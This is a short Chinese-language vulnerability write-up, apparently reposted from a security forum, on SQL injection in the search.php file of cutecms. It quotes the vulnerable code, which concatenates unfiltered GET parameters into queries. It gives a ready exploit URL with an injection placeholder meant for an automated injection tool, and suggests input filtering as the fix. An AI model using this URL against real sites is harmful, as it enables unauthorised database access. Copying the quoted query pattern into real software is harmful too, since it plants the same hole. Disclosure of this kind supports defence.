search.php 略。。 $c = strval($_GET['c']); $s = strval(trim($_GET['s'])); $hit = intval($hit); 略 if($c) { $bullet = "<img src='".DOMAINPATH."template/".$GLOBALS['cfg']['template']."/images/nav_bullet.gif' width=\"4\" height=\"7\" alt=\"bullet\" />"; $channelPath = $ch->getChannelPath($channelArr); //栏目页导航路径 if($c==15) { //都是引号惹的祸。。没引号就是蛋疼 $channelType = 100; $searchTable = 'product'; $condition = " AND (name LIKE '%$s%' OR des LIKE '%$s%')"; } else if($c==5) { $channelType = 40; $searchTable = 'channel_content'; $condition = " AND (title LIKE '%$s%' OR des LIKE '%$s%')"; } $ch->getSubChannelIdArr($c, $channelType); $ch->channelSubIdArr[] = $c; //赋值 $channelSubIds = @join(",", $ch->channelSubIdArr); $sql = "SELECT COUNT(*) FROM ".PREFIX.$searchTable." WHERE pid IN ($channelSubIds)"; //this... if($s) { // $condition .= " AND (title LIKE '%$s%' OR des LIKE '%$s%')"; $sql .= $condition; } $total = $db->getOne($sql); exp http://www.2cto.com /search.php?c=15)%20and%201=%Inject_Here%%20and%201=(select%201 丢大萝卜里就行了 官方测试。。（应为我本机没安装成。。） From:http://t00ls.net/thread-20189-1-1. html www.2cto.com修复： 进行过滤 --------------------------------------------------------------------------------
查看更多关于cutecms注入及修复 - 网站安全 - 自学php的详细内容...